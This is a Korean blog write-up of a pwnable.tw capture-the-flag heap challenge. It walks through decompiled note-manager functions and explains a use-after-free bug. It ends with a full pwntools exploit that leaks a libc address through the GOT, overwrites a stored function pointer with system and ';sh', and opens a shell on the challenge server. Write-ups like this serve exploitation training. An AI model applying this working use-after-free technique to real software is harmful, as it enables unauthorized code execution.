Writeup
File information
Code
함수명들은 따로 설정한 것입니다.
Main
void __cdecl __noreturn main()
{
int v0; // eax
char buf; // [esp+8h] [ebp-10h]
unsigned int v2; // [esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, &buf, 4u);
v0 = atoi(&buf);
if ( v0 != 2 )
break;
Delete();
}
if ( v0 > 2 )
{
if ( v0 == 3 )
{
Print();
}
else
{
if ( v0 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v0 != 1 )
goto LABEL_13;
Add();
}
}
}
- Main함수는 다음과 같은 역할을 한다.
- menu함수 호출
- read로 입력받아 값에 따라 다음 함수를 호출한다.
- 1 : Add
- 2 : Delete
- 3 : Print
- 4 : exit
Add
unsigned int Add()
{
_DWORD *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( dword_804A04C <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !table[i] )
{
table[i] = malloc(8u);
if ( !table[i] )
{
puts("Alloca Error");
exit(-1);
}
*table[i] = ready_puts;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = table[i];
v0[1] = malloc(size);
if ( !*(table[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *(table[i] + 1), size);
puts("Success !");
++dword_804A04C;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
- Add함수는 다음과 같은 역할을 한다.
- table로 동적 할당을 관리한다.
- table은 0부터 차례대로 채워지며, 최대 5개 생성 가능하다.
- size제한은 없으며, size만큼 입력을 받는다.
- Add는 아래와 같이 할당이 진행된다.
- ready_puts함수를 이용하여 Print함수에서 출력이 이루어진다.
- table로 동적 할당을 관리한다.
Delete
unsigned int Delete()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( table[v1] )
{
free(*(table[v1] + 1));
free(table[v1]);
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
- Delete함수는 다음과 같은 역할을 한다.
- read함수로 index를 입력받는다.
- index가 0보다 작거나 dword_804A04C(생성된 총 개수)와 같거나 크면 종료시킨다.
- free는 data가 저장되어 있는 청크 와 그것을 관리하는 청크 순으로 진행된다.
- read함수로 index를 입력받는다.
unsigned int Print()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( table[v1] )
(*table[v1])(table[v1]);
return __readgsdword(0x14u) ^ v3;
}
- Print함수는 다음과 같은 역할을 한다.
- read함수로 index를 입력받는다.
- index가 0보다 작거나 dword_804A04C(생성된 총 갯수)와 같거나 크면 종료시킨다.
- 출력은 Add과정에서 저장해둔 ready_puts 함수를 이용하여 출력한다.
- read함수로 index를 입력받는다.
Exploit
이 문제는 특정 index를 free 한 이후 해당 index를 초기화시켜주지 않아 일어나는 uaf 취약점을 이용하는 문제이다.
Leak
- PIE가 걸려있지 않다는 점과 ready_puts함수와 got를 이용하여 leak을 진행한다.
sh
- Print함수 내부에
(*table[v1])(table[v1]);
부분을 이용하여 system함수를 호출한다.- ready_puts함수가 저장된 부분을 system함수로 overwrite 한다.
exploit code
from pwn import *
# context.log_level = 'debug'
p=remote("chall.pwnable.tw",10102)
libc=ELF("./libc_32.so.6")
def Add(size,data):
p.sendlineafter("choice :", str(1))
p.sendlineafter("size :", str(size))
p.sendlineafter("Content :", data)
def Delete(index):
p.sendlineafter("choice :", str(2))
p.sendlineafter("Index :", str(index))
def Print(index):
p.sendlineafter("choice :", str(3))
p.sendlineafter("Index :", str(index))
Add(24,"A")
Add(24,"B")
Delete(0)
Delete(1)
ready= 0x0804862b
puts_g = 0x804a024
Add(8,p32(ready)+p32(puts_g))
Print(0)
leak = u32(p.recvn(4))
libc_base = leak - libc.symbols['puts']
system = libc_base + libc.symbols['system']
Delete(2)
pay = p32(system)
pay += ';sh'
Add(8,pay)
Print(0)
p.interactive()
'Pwnable > pwnable.tw' 카테고리의 다른 글
pwnable.tw orw (0) | 2019.09.05 |
---|---|
pwnable.tw start (0) | 2019.09.05 |